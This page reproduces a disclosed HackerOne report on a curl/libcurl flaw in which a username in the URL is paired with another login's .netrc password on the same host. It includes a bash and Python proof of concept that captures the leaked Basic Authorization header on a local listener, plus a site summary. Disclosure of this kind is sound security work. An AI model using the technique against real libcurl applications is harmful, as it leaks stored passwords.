Skip to content
Info disclosure Disclosed report Intermediate CVE-2026-8926

CVE-2026-8926: password leak with netrc and user in URL

curl and libcurl could pair a username taken from the URL with a password from a .netrc entry belonging to a different login on the same host. An attacker who can influence the URL passed to curl while .netrc is enabled could cause a stored password to be sent under a different username.

giant_anteater Follow

Originally disclosed on HackerOne

  • Triaged in 20 hours
  • Fixed in 41 days
  • Disclosed after 41 days

Hey all, Before the following report, I just want to point to a comment from our scanner, where it seems it was already picked up but it was dismissed and the PR was closed later by another commit - https://github.com/curl/curl/pull/20932#issuecomment-4072903895

Nonetheless, it appears this issue exists for a while, actually since e9b9bbac22c26cf67316fa8e6c6b9e831af31949 (2024-11-15)

Summary:

curl/libcurl can combine a username supplied in the URL with a password from a .netrc entry whose explicit login does not match that username.

For example, if .netrc contains credentials for alice, and the requested URL contains username bob, curl sends an HTTP Basic Authorization header for bob:alice_password.

This contradicts the documented behavior that, when a username is provided in the URL, curl/libcurl looks for the password for that specific user, or falls back to a generic machine entry without a login.

Steps To Reproduce:

Given this .netrc:

machine 127.0.0.1 login alice password secret

and this request:

curl --netrc-optional http://[email protected]:18080/

curl sends:

Authorization: Basic Ym9iOnNlY3JldA==

which decodes to:

bob:secret

The password secret belongs to login alice, but it is sent with URL username bob.

PoC

#!/usr/bin/env bash
set -euo pipefail

tmp="$(mktemp -d)"
port=18080

mkdir -p "$tmp/home"

cat >"$tmp/home/.netrc" <<'EOF'
machine 127.0.0.1 login alice password secret
EOF
chmod 0600 "$tmp/home/.netrc"

cat >"$tmp/server.py" <<'PY'
import base64
import http.server
import socketserver

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        auth = self.headers.get("Authorization", "")
        print("Authorization:", auth, flush=True)
        if auth.startswith("Basic "):
            decoded = base64.b64decode(auth.split(" ", 1)[1]).decode()
            print("Decoded:", decoded, flush=True)
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"ok\n")

    def log_message(self, fmt, *args):
        pass

with socketserver.TCPServer(("127.0.0.1", 18080), Handler) as httpd:
    httpd.handle_request()
PY

python3 "$tmp/server.py" &
server_pid=$!
sleep 0.3

HOME="$tmp/home" curl \
    --silent \
    --show-error \
    --netrc-optional \
    "http://[email protected]:$port/" \
    >/dev/null

wait "$server_pid"

Expected Result

curl should not use alice’s password for URL username bob.

Expected decoded credential should either be:

bob:

or no Authorization header, depending on the selected .netrc mode and fallback behavior.

Actual Result

Authorization: Basic Ym9iOnNlY3JldA== Decoded: bob:secret

Impact

Summary:

An attacker who can influence a URL passed to curl/libcurl while .netrc is enabled can cause a saved password for one account on a host to be sent under a different username for that same host.

Impact examples:

  • Password submission to the wrong account context on the same host.
  • libcurl-based applications that fetch attacker-controlled URLs with CURLOPT_NETRC enabled may leak stored .netrc passwords without the application intending to authenticate as that user.

This is not a cross-host credential leak, but it violates the username-specific .netrc selection semantics and can expose credentials in realistic URL-injection or attacker-supplied URL workflows.

The original report as published on HackerOne, by giant_anteater. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

A saved password for one account on a host could be sent under a different username, so libcurl applications fetching attacker-controlled URLs with .netrc enabled may leak stored passwords; the text notes this is not a cross-host leak.

What the attacker needed

Curl built with .netrc support; .netrc enabled (e.g. --netrc-optional); attacker can influence the URL; saved entry for same host, other login

How it was found

  1. Create a .netrc file with an entry for one login on a host.
  2. Run curl with --netrc-optional against that host but with a different username in the URL.
  3. Observe the Authorization header sent by curl.
  4. Decode the header to see the other user's password paired with the URL username.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A .netrc file stores saved logins and passwords so tools like curl can sign in automatically. curl is supposed to look up the password for the exact username in the URL, but here it grabbed the password saved for a different user on the same machine and sent it under the URL's username. Anyone who can get a URL into a curl-based program could therefore push a saved password out to a server.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by giant_anteater

View all

93 more disclosed reports, best first.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.